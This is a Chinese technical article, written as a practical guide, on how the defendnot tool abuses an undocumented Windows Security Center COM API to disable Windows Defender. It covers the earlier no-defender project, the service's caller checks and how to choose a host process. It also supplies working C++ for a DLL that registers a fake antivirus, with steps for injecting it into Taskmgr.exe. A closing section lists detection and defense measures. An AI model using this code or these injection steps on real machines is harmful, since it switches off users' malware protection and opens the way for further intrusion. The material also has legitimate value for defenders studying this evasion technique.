揭秘黑科技:WSC隐藏API如何悄无声息禁用Windows Defender
字数 2310 2025-08-29 22:41:24
Windows安全中心(WSC)隐藏API技术深度解析与实战指南
1. 概述与背景
Windows安全中心(WSC, Windows Security Center)是Windows系统中负责监控和报告安全健康状态的组件,包括防火墙、防病毒、反间谍软件等产品的状态。近期发现的Defendnot工具通过调用WSC未公开API,能够模拟杀毒软件安装过程,从而自动禁用Windows Defender服务。
2. 技术演进
2.1 no-defender项目(2024年)
- 原理:依赖avast杀毒软件的WSC通信组件(wsc_proxy.exe和wsc.dll)
- 关键组件:
- no-defender-loader.exe:服务配置工具
- powrprof.dll:hook实现
- wsc_proxy.exe:avast的WSC通信程序
- wsc.dll:avast的WSC通信组件
- 实现方式:
- 通过伪造的powrprof.dll实现API劫持
- 利用avast签名的组件绕过安全检测
- 现状:因DMCA删除请求于2024.06.08下架
2.2 defendnot项目(2025年)
- 改进点:直接调用WSC未公开API,不再依赖第三方杀软组件
- 关键组件:
- defendnot-loader.exe:注入工具
- defendnot.dll:核心功能实现
- 优势:
- 更简洁的实现
- 不依赖特定杀软签名
- 更高的可靠性
3. WSC服务架构分析
3.1 WSCSVC服务
- 服务DLL:C:\windows\system32\wscsvc.dll
- 功能:提供COM API接口供安全产品注册状态
- 相关组件:
- wscisvif.dll:实现IWscAVStatus接口
- wscapi.dll:提供公开API
3.2 WSC通信流程
- 客户端调用wscapi.dll中的公开API
- 通过RPC与wscsvc服务通信
- wscsvc服务验证调用者身份和完整性
- 执行相应操作并返回结果
4. defendnot技术实现详解
4.1 核心原理
- 模拟构建IWscAVStatus类
- 通过COM接口与WSC服务交互
- 关键虚函数:
- Register:注册防病毒产品
- UpdateStatus:更新产品状态
4.2 具体实现步骤
-
进程注入:
- 使用defendnot-loader.exe将defendnot.dll注入到Taskmgr.exe
- 选择Taskmgr.exe的原因是其符合WSC的检测要求
-
COM接口调用:
CoCreateInstance(CLSID_WscIsv, NULL, CLSCTX_LOCAL_SERVER, IID_IWscAVStatus, (void**)&wscAVStatus); -
注册安全产品:
wscAVStatus->Register(L"DefendNot", L"1.0.0", WSC_SECURITY_PRODUCT_TYPE_ANTIVIRUS); -
更新产品状态:
wscAVStatus->UpdateStatus(WSC_SECURITY_PRODUCT_STATE_ON);
4.3 底层调用链
-
Register函数调用链:
- defendnot.dll → wscisvif.dll!_IWscAVStatus4::Register
- → CWscIsv::RegisterAV
- → wscapi!wscRegisterSecurityProduct
- → RPC调用wscsvc服务
-
UpdateStatus函数调用链:
- defendnot.dll → wscisvif.dll!_IWscAVStatus4::UpdateStatus
- → CWscIsv::UpdateStatusAV
- → wscapi!wscUpdateProductStatus
- → RPC调用wscsvc服务
5. WSC服务的安全检测机制
5.1 进程令牌检查
- 调用CheckTokenMembership检查WinDefend SID
- 验证调用进程是否具有足够权限
5.2 PE结构验证
- 使用ImageNtHeader检查PE头
- 验证特定字段是否符合要求
5.3 数字签名校验
- 调用CryptHashPublicKeyInfo等API
- 验证二进制文件的签名有效性
6. 宿主进程选择策略
6.1 选择标准
- 位于System32或SysWOW64目录
- 具有有效的数字签名
- PE结构符合WSC要求
- 不包含WinDefend SID
6.2 可用进程示例
- Taskmgr.exe
- 部分杀毒软件进程
- 系统核心组件进程
6.3 检测工具
可使用wsc-binary-check工具检测符合条件的进程:
// 示例Go代码调用检测工具
func checkProcess(path string) bool {
cmd := exec.Command("wsc-binary-check.exe", path)
output, _ := cmd.CombinedOutput()
return strings.Contains(string(output), "VALID")
}
7. 实战:定制化defendnot.dll
7.1 精简实现
// bootstrap.cpp
extern "C" __declspec(dllexport) void Run() {
IWscAVStatus* wscAVStatus = nullptr;
CoInitializeEx(NULL, COINIT_MULTITHREADED);
// 获取WSC接口
HRESULT hr = CoCreateInstance(
CLSID_WscIsv,
NULL,
CLSCTX_LOCAL_SERVER,
IID_IWscAVStatus,
(void**)&wscAVStatus);
if (SUCCEEDED(hr)) {
// 注册产品
wscAVStatus->Register(L"CustomAV", L"1.0", WSC_SECURITY_PRODUCT_TYPE_ANTIVIRUS);
// 更新状态
wscAVStatus->UpdateStatus(WSC_SECURITY_PRODUCT_STATE_ON);
wscAVStatus->Release();
}
CoUninitialize();
}
7.2 注入方法
- 使用Process Hacker等工具注入
- 选择符合条件的宿主进程
- 加载defendnot.dll并调用导出函数
8. RPC通信分析
8.1 关键RPC方法
- s_wscUnregisterSecurityProduct
- s_wscRegisterSecurityProduct
- s_wscUpdateProductStatus
8.2 捕获工具
使用RPCMon等工具可捕获通信内容:
- 启动RPCMon监控
- 运行defendnot工具
- 分析捕获的RPC调用
9. 防御与检测
9.1 检测方法
- 监控wscsvc服务的RPC调用
- 检查异常进程注入行为
- 验证WSC注册产品的合法性
9.2 防御措施
- 启用受保护的进程
- 配置AppLocker限制进程注入
- 监控系统关键目录的修改
10. 总结
Defendnot工具通过深入研究WSC服务的未公开API,实现了对Windows Defender的禁用。这项技术揭示了Windows安全机制中一些有趣的实现细节:
- WSC服务通过COM接口与安全产品交互
- 严格的调用者验证机制
- RPC通信作为底层传输方式
- 宿主进程选择的特殊要求
理解这些机制不仅有助于安全研究,也能帮助开发更强大的安全产品。同时,微软可能会在未来版本中修改这些实现细节,因此相关技术需要持续跟进研究。